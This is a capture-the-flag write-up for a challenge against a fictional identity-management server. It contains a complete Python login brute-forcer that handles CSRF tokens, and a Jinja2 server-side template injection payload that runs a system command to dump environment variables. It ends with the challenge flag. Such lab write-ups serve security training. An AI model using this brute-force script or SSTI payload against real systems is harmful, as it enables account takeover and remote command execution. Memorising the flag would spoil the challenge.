Role Management Service
🧠 Challenge Text¶
Hi, emergency troubleshooter,
we urgently need to replace the outdated identity management system with a new progressive solution. Verify that it is functioning properly and that no information leakage is occurring. New instance is running on server idm-new.powergrid.tcc.
Stay grounded!
🔍 Hints Text¶
1. Hint
Even if you find what you are looking for, you must use brut(al) force to get it!🎨 Solution¶
Checking paths using dirbuster tool at idm-new.powergrid.tcc... Interesting one is announcement page at http://idm-new.powergrid.tcc/announcement which contains a lot of information about posts and their users: for instance http://idm-new.powergrid.tcc/user/22
User Profile
Username: ella.reed
Email: ella.reed@powergrid.tcc
Roles:
ROLE_ADMIN ROLE_USER
Using the hint we bruteforce 10K common passwords for ella.reed@powergrid.tcc
# detection.py -- snippet to detect success by page content + other heuristics
import sys
import requests
from bs4 import BeautifulSoup
LOGIN_URL = "http://idm-new.powergrid.tcc/login" # change to your authorized target
USERNAME = "ella.reed@powergrid.tcc"
if len(sys.argv) != 2:
print("Usage: python3 tester.py <passwords_file>")
sys.exit(1)
password_file = sys.argv[1]
session = requests.Session()
session.headers.update({"User-Agent": "local-tester/1.0"})
def get_csrf_token():
r = session.get(LOGIN_URL, timeout=10)
r.raise_for_status()
soup = BeautifulSoup(r.text, "html.parser")
token_input = soup.find("input", {"name": "_csrf_token"})
return token_input.get("value") if token_input else None
def is_failure_by_message(html_text):
"""Return True if the HTML contains an explicit failure message."""
soup = BeautifulSoup(html_text, "html.parser")
# Look for the alert div you pasted
alert = soup.find("div", {"class": "alert alert-danger text-center"})
if alert and "Invalid credentials" in alert.get_text(strip=True):
return True
# Add other failure patterns here if needed
return False
def is_success_by_page(html_text):
"""Optional: look for positive success markers instead."""
soup = BeautifulSoup(html_text, "html.parser")
# Look for the alert div you pasted
alert = soup.find("div", {"class": "alert alert-danger"})
if alert and "Invalid credentials" in alert.get_text(strip=True):
return False
# Add other failure patterns here if needed
return True
def try_password(password):
token = get_csrf_token()
data = {"_username": USERNAME, "_password": password}
if token:
data["_csrf_token"] = token
r = session.post(LOGIN_URL, data=data, allow_redirects=True, timeout=10)
# Heuristic 1: server redirects on success (common)
if r.status_code in (301, 302):
print(f"[+] Possibly success (redirect {r.status_code}) for '{password}' -> {r.headers.get('Location')}")
return True
# Heuristic 2: Check Set-Cookie changes (session cookie rotated/added)
# (Record cookie before/after if you want to use this)
# Example: if 'session' cookie value changed significantly, could indicate login
# You can enable this check if appropriate for your target.
# Heuristic 3: Look for explicit failure message in page
# print(r.text)
if is_failure_by_message(r.text):
print(f"[-] Invalid (message detected) for '{password}' (HTTP {r.status_code})")
return False
# Heuristic 4: Look for explicit success markers
if is_success_by_page(r.text):
print(f"[+] SUCCESS (page marker) for '{password}'")
return True
# If none of the above, treat as ambiguous — print snippet for manual review
snippet = r.text.strip()[:300].replace("\n", " ")
print(f"[?] Ambiguous response for '{password}' (HTTP {r.status_code}). Snippet: {snippet!s}")
return False
# Example usage:
if __name__ == "__main__":
with open(password_file, "r", encoding="utf-8") as f:
for line in f:
pw = line.strip()
if not pw:
continue
ok = try_password(pw)
if ok:
print(f"[+] Found likely password: {pw}")
break
We got 123abc password.
Admin Search Users¶
In admin search users bar we can spot it is sensible to jinja2 server side template injection(ssti). Simple test is to try check expression such as {{7*7}}.
By error-try approach we can come up with expression which allow us to execute system command such as printenv
{%block X%}printenvINTIGRITIsystem{%endblock%}{%set y=block('X')|split('INTIGRITI')%}{{[y|first]|map(y|last)|join}}
Finally, FLAG=RkxBR3tUaEtILWRxaW8tNDlBWC1TWmxHfSAK